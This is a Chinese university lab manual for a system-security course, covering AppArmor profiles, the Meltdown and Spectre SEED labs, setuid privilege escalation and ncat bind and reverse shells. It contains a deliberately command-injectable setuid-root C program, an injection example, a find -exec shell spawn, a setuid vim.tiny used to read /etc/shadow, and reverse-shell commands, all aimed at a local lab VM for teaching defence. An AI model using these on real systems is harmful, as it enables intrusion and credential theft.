《信息系统安全》

实验指导手册

华中科技大学计算机学院

二零二一年 六月

目 录

实验三 系统安全

实验三

系统安全

第一章 实验目标和内容

1.1 AppArmor 实验

1.1.1 实验目的

AppArmor 是 linux 系统中提供的一种强制访问控制方法，与 SELinux 类似，AppArmor 通过提供强制访问控制 (MAC) 来补充传统的 Linux 自主访问控制 (DAC) 。AppArmor 允许系统管理员通过为每个程序进行权限配置，来限制程序的功能。配置文件可以允许诸如网络访问、原始套接字访问以及在匹配路径上读取、写入或执行文件的权限等功能。

本实验的学习目标是让学生根据不同程序的访问控制需求，使用 AppArmor 进行访问控制配置，理解最小特权原则，并了解如何通过该方法抵御攻击。

1.1.2 实验环境

- ✧ VMware Workstation 虚拟机。
- ✧ Ubuntu 18.04 操作系统（因 SEED/Ubuntu 1604 版本上的 Apparmor 版本存在 bug，导致无法正常使用，故需要其它版本的系统）。

1.1.3 实验要求

- ✧ 了解 AppArmor 的访问控制的原理与使用方式。
- ✧ 使用 AppArmor 对程序进行访问控制约束。

1.1.4 实验内容

任务 1：

针对 ping (/bin/ping)程序，使用 apparmor 进行访问控制。尝试修改 profile，使得 ping 程序的功能无法完成。

任务 2：

（1）编译下图的程序，设置 setuid root 权限；通过命令注入攻击，创建 reverse shell。

（2）使用 apparmor 对该程序进行访问控制，禁止 attacker 通过命令注入创建 reverse shell；

命令注入方法：./command “localfile; ls”

（3）使用 apparmor 对该程序进行访问控制，允许 attacker 通过命令注入创建 reverse shell，但将 attacker 在 reverse shell 中的能使用的命令限制为 ls, whoami；

```
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {
 char cat[] = "cat ";
 char *command;
 size_t commandLength;

 commandLength = strlen(cat) + strlen(argv[1]) + 1;
 command = (char *) malloc(commandLength);
 strncpy(command, cat, commandLength);
 strncat(command, argv[1], (commandLength - strlen(cat)) );

 setuid(0);
 setgid(0);
 system(command);
 return (0);
}
```

提示：可以尝试去掉上图程序红框中的代码，实验 setuid root 权限的程序，观察是否可以继续获得 root 权限。

1.2 Meltdown 实验

1.2.1 实验目的

- ✧ Meltdown 于 2017 年发现，并于 2018 年 1 月公开披露，该漏洞利用 CPU 存在的严重漏洞，包括来自英特尔和 ARM 的处理器，这些漏洞允许用户级程序绕过 CPU 中已存在的硬件保护机制，读取存储在内核内存中的数据。由于缺陷存在于硬件中，因此除非更改 CPU，否则很难从根本上解决问题。Meltdown 漏洞代表了 CPU 设计中的一种特殊类型的漏洞。
- ✧ 本实验涵盖以下主题：
  1. Meltdown 攻击
  2. 侧通道攻击
  3. CPU 缓存
  4. 乱序执行
  5. 操作系统中的内核内存保护
  6. 内核模块

1.2.2 实验要求

- ✧ 熟悉“Meltdown”漏洞利用的原理。
- ✧ 参考 Meltdown Attack Lab 的内容，完成本实验指导书所要求的实验内容。

1.2.3 实验内容

参考 Meltdown Attack Lab 内容（如下链接，包括 Meltdown Attack Lab 的描述，以及实验代码），完成相应验证行实验任务。

https://seedsecuritylabs.org/Labs_16.04/System/Meltdown_Attack/

https://seedsecuritylabs.org/Labs_16.04/PDF/Meltdown_Attack.pdf

任务 1：Cache 和 Memory 的数据读取

编译并运行 CachTime.c，运行程序 10 次，观察输出。从实验中，你需要找到一个可用于区分两种类型的内存访问（Cache 和 memory）的阈值。

任务 2：使用 Cache 作为 Side Channel

编译并运行 FlushReload.c，运行程序多次，观察输出。并将阈值 CACHE_HIT_THRESHOLD 调整为从任务 1 派生的阈值（此代码中使用 80）。

任务 3：将秘密数据放入内核空间

编译 MeltdownKernel.c，按照该内核模块，并使用 dmesg 发现秘密数据的地址。

```
$ make
$ sudo insmod MeltdownKernel.ko
$ dmesg | grep ’secret data address’
```

任务 4：乱序执行

编译并运行 MeltdownExperiment.c，记录并解释你的观察。

任务 5：基本的 Meltdown 攻击

1. 按照 Section 6.1，修改 MeltdownExperiment.c，记录并解释你的观察；
2. 按照 Section 6.2，修改 MeltdownExperiment.c，将秘密数据预先 cache，记录并解释你的观察；
3. 按照 Section 6.3，修改 MeltdownExperiment.c，使用 meltdown_asm()取代 meltdown()函数，并增加或者减少汇编代码中循环的次数，记录并解释你的观察；

任务 6：更有效的 Meltdown 攻击

1. 按照 Section 7，编译并执行 MeltdownAttack.c，记录并解释你的观察。该代码只窃取内核的一个字节的秘密。
2. 上述内核模块中的实际秘密有 8 个字节。 请尝试修改上面的代码以获取所有 8 个字节的秘密数据。

1.3 Spectre 实验

1.3.1 实验目的

- ✧ Spectre 攻击于 2017 年发现并于 2018 年 1 月公开披露，利用了 CPU 漏洞，包括来自英特尔，AMD 和 ARM 的处理器。这些漏洞允许程序打破进程间和进程内隔离，因此恶意程序可以从无法访问的区域读取数据。硬件保护机制（用于进程间隔离）或软件保护机制（用于进程内部隔离）不允许这样的访问，但 Spectre 漏洞的利用可以破坏上述保护。
- ✧ 本实验涵盖以下主题：

1. Spectre 攻击
2. 侧通道攻击
3. CPU 缓存
4. 预测执行和分支预测

1.3.2 实验要求

- ✧ 熟悉“Spectre”漏洞利用的原理。
- ✧ 参考 Spectre Attack Lab 的内容，完成本实验指导书所要求的实验内容。

1.3.3 实验内容

参考 Spectre Attack Lab 内容（如下链接，包括 Spectre Attack Lab 的描述，以及实验代码），完成相应验证行实验任务。

https://seedsecuritylabs.org/Labs_16.04/System/Spectre_Attack/

https://seedsecuritylabs.org/Labs_16.04/PDF/Spectre_Attack.pdf

任务 1：预测执行

1. 编译并运行 SpectreExperiment.c，运行程序多次，观察输出。
2. 如下图所示，注释掉标有星号的行并再次执行，解释你的观察。完成后，取消注释，以便后续任务不受影响。
3. 将代码行 4 的函数调用参数替换为 i + 2，再次运行代码并解释你的观察结果。

任务 2：Spectre 攻击

编译并运行 Spectre.c，运行程序多次，观察是否有一致性的输出。

任务 3：改进的 Spectre 攻击

1. 编译并运行 SpectreImproved.c，运行程序多次，观察是否有一致性的输出。
2. 尝试扩展上述代码，以获取所有的秘密数据。

```
void victim(size_t x)
{
  if (x < size) {                          ①
     temp = array[x * 4096 + DELTA];       ②
  }
}

int main()
{
  int i;

  // FLUSH the probing array
  flushSideChannel();

  // Train the CPU to take the true branch inside victim()
  for (i = 0; i < 10; i++) {               ③
     _mm_clflush(&size);                   ☆
     victim(i);                            ④
  }

  // Exploit the out-of-order execution
  _mm_clflush(&size);                      ☆
  for (i = 0; i < 256; i++)
    _mm_clflush(&array[i*4096 + DELTA]);
  victim(97);                              ⑤

  // RELOAD the probing array
  reloadSideChannel();
  return (0);
}
```

第二章 实验指南

2.1 AppArmor

检查 apparmor 服务状态：

```
systemctl status apparmor # Checks status
systemctl start apparmor # Starts the service
systemctl enable apparmor # Makes apparmor start on boot
```

检查加载的 profiles：

sudo aa-status

为程序创建 profile：

aa-genprof　#为首次运行的程序创建 profile

aa-logprof　#为已存在 profile 的程序，根据 log 修改权限

示例 1：example.sh

创建 data 目录，并创建如下 example.sh 脚本（添加执行权限）：

```
#!/bin/bash
echo "This is an apparmor example."
touch data/sample.txt
echo "File created"
rm data/sample.txt
echo "File deleted"
```

两个终端，终端 1：执行 aa-genprof

```
test@ubuntu:~/apparmor$ sudo aa-genprof example.sh
Writing updated profile for /home/test/apparmor/example.sh.
Setting /home/test/apparmor/example.sh to complain mode.

Before you begin, you may wish to check if a
profile already exists for the application you
wish to confine. See the following wiki page for
more information:
http://wiki.apparmor.net/index.php/Profiles

Profiling: /home/test/apparmor/example.sh

Please start the application to be profiled in
another window and exercise its functionality now.

Once completed, select the "Scan" option below in
order to scan the system logs for AppArmor events.

For each AppArmor event, you will be given the
opportunity to choose whether the access should be
allowed or denied.

[(S)can system log for AppArmor events] / (F)inish
Reading log entries from /var/log/syslog.
Updating AppArmor profiles in /etc/apparmor.d.
```

终端 2，执行 example.sh 程序。

然后，在终端 1 中，进行选择（多步选择）：

```
Profile:  /home/test/apparmor/example.sh
Execute:  /bin/touch
Severity: unknown

(I)nherit / (C)hild / (N)amed / (X) ix On / (D)eny / Abo(r)t / (F)inish
```

创建的 profile 如下：

```
test@ubuntu:~/apparmor$ sudo cat /etc/apparmor.d/home.test.apparmor.example.sh
# Last Modified: Tue Jun 15 20:45:51 2021
#include <tunables/global>

/home/test/apparmor/example.sh {
  #include <abstractions/base>
  #include <abstractions/bash>
  #include <abstractions/consoles>

  /bin/bash ix,
  /bin/rm mrix,
  /bin/touch mrix,
  /home/test/apparmor/example.sh r,
  /lib/x86_64-linux-gnu/ld-*.so mr,
  owner /home/*/apparmor/data/sample.txt w,

}
```

查看 profile 加载状态：

sudo aa-status

验证访问控制策略，修改 example.sh 如下，

```
#!/bin/bash

echo "This is an apparmor example."

touch sample.txt
echo "File created"

rm sample.txt
echo "File deleted"
```

```
test@ubuntu:~/apparmor$ ./example.sh
This is an apparmor example.
touch: cannot touch 'sample.txt': Permission denied
File created
rm: cannot remove 'sample.txt': No such file or directory
File deleted
```

执行 aa-logprof，根据 log，调整权限

```
test@ubuntu:~/apparmor$ sudo aa-logprof
Reading log entries from /var/log/syslog.
Updating AppArmor profiles in /etc/apparmor.d.
Complain-mode changes:
Enforce-mode changes:

Profile:  /home/test/apparmor/example.sh
Path:     /home/test/apparmor/sample.txt
New Mode: owner w
Severity: 6

 [1 - owner /home/*/apparmor/sample.txt w,]
  2 - owner /home/test/apparmor/sample.txt w,
(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish
Adding owner /home/*/apparmor/sample.txt w, to profile.

= Changed Local Profiles =

The following local profiles were changed. Would you like to save them?

 [1 - /home/test/apparmor/example.sh]
(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t
Writing updated profile for /home/test/apparmor/example.sh.
```

```
test@ubuntu:~/apparmor$ sudo cat /etc/apparmor.d/home.test.apparmor.example.sh
# Last Modified: Tue Jun 15 21:04:30 2021
#include <tunables/global>

/home/test/apparmor/example.sh {
  #include <abstractions/base>
  #include <abstractions/bash>
  #include <abstractions/consoles>

  /bin/bash ix,
  /bin/rm mrix,
  /bin/touch mrix,
  /home/test/apparmor/example.sh r,
  /lib/x86_64-linux-gnu/ld-*.so mr,
  owner /home/*/apparmor/data/sample.txt w,
  owner /home/*/apparmor/sample.txt w,

}
```

除了根据 log 修改 profile，也可以手动修改 profile，但是如果手动修改，需要重新加载 profile。

sudo apparmor_parser -r /etc/apparmor.d/home.test.apparmor.example.sh

卸载 profile：

sudo apparmor_parser -R /path/to/profile

示例 2：passwd

将 passwd 程序拷贝到用户路径，添加 chown 到 root，chmod 添加 s 权限。

同上例，在两个终端上分别进行操作。

可以通过 dmesg 查看错误日志。

需要多次运行 passwd 程序，并多次运行：sudo aa-logprof

初始 profile：

```
test@ubuntu:~/apparmor$ sudo cat /etc/apparmor.d/home.test.apparmor.passwd
# Last Modified: Wed Jun 16 00:05:11 2021
#include <tunables/global>

/home/test/apparmor/passwd {
  #include <abstractions/authentication>
  #include <abstractions/base>
  #include <abstractions/nameservice>

  /home/test/apparmor/passwd mr,
  /lib/x86_64-linux-gnu/ld-*.so mr,
  owner /proc/*/loginuid r,
  owner /{usr/,}lib{,32,64}/** mr,

}
```

可以成功修改 passwd 的 profile：

```
test@ubuntu:~/apparmor$ sudo cat /etc/apparmor.d/home.test.apparmor.passwd
# Last Modified: Wed Jun 16 00:21:26 2021
#include <tunables/global>

/home/test/apparmor/passwd {
  #include <abstractions/authentication>
  #include <abstractions/base>
  #include <abstractions/dovecot-common>
  #include <abstractions/nameservice>
  #include <abstractions/postfix-common>

  capability audit_write,
  capability chown,
  capability dac_override,
  capability dac_read_search,
  capability fsetid,

  /home/test/apparmor/passwd mr,
  /lib/x86_64-linux-gnu/ld-*.so mr,
  owner /etc/.pwd.lock wk,
  owner /etc/nshadow rw,
  owner /etc/shadow rw,
  owner /proc/*/loginuid r,
  owner /{usr/,}lib{,32,64}/** mr,

}
```

2.2 SETUID 程序

查找系统的 setuid 程序

find / -user root -perm -4000 -print 2>/dev/null

存在漏洞的 setuid 特权程序，可以通过漏洞利用进行特权提升（或修改特权文件）。

系统中的一些程序，如：nmap, vim, find, bash, more, less, nano, cp，可能存在不安全的实现，如 find 程序可以用作程序执行：

./find testdata -exec ncat -lvp 5555 -e /bin/sh \;

同时，这些程序如果设置 setuid 特权，也可以用作进行特权提升。

举例：

将/usr/bin/vim.tiny 拷贝到当前目录，并改成 setuid root 特权程序。

./vim.tiny /etc/shadow　#获取特权文件

所以，有必要对这些可以程序进行约束，可以使用 AppArmor、SELinux 等强制访问控制方法实现这一目的。

2.3 远程 shell（Bind & Reverse）

Bind Shell：

ncat -lvp 5555 -e /bin/sh

ncat 127.0.0.1 5555　　(Attacker)

Reverse Shell：

ncat -lvp 5555　　(Attacker)

ncat 127.0.0.1 5555 -e /bin/sh

注意：需要安装 ncat 程序

相关资源：

[1]https://medium.com/information-and-technology/so-what-is-apparmor-64d7ae211ed

[2]https://www.inguardians.com/2017/06/08/protecting-the-mr-robot-vuln-hub-machine-part-2-confining-wordpress-with-apparmor/

[3]https://www.secjuice.com/apparmor-say-goodbye-to-remote-command-execution/

[4] https://www.apertis.org/guides/apparmor/

[5] AppArmor_Core_Policy_Reference, https://gitlab.com/apparmor/apparmor/-/wikis/AppArmor_Core_Policy_Reference

[6] AppArmor security profiles for Docker, https://docs.docker.com/engine/security/apparmor/

[6] 具有特权提升风险的程序, https://pentestlab.blog/2017/09/25/suid-executables/

[7] 通过 ncat 创建远程 shell（Bind & Reverse）, https://medium.com/@PenTest_duck/offensive-netcat-ncat-from-port-scanning-to-bind-shell-ip-whitelisting-834689b103da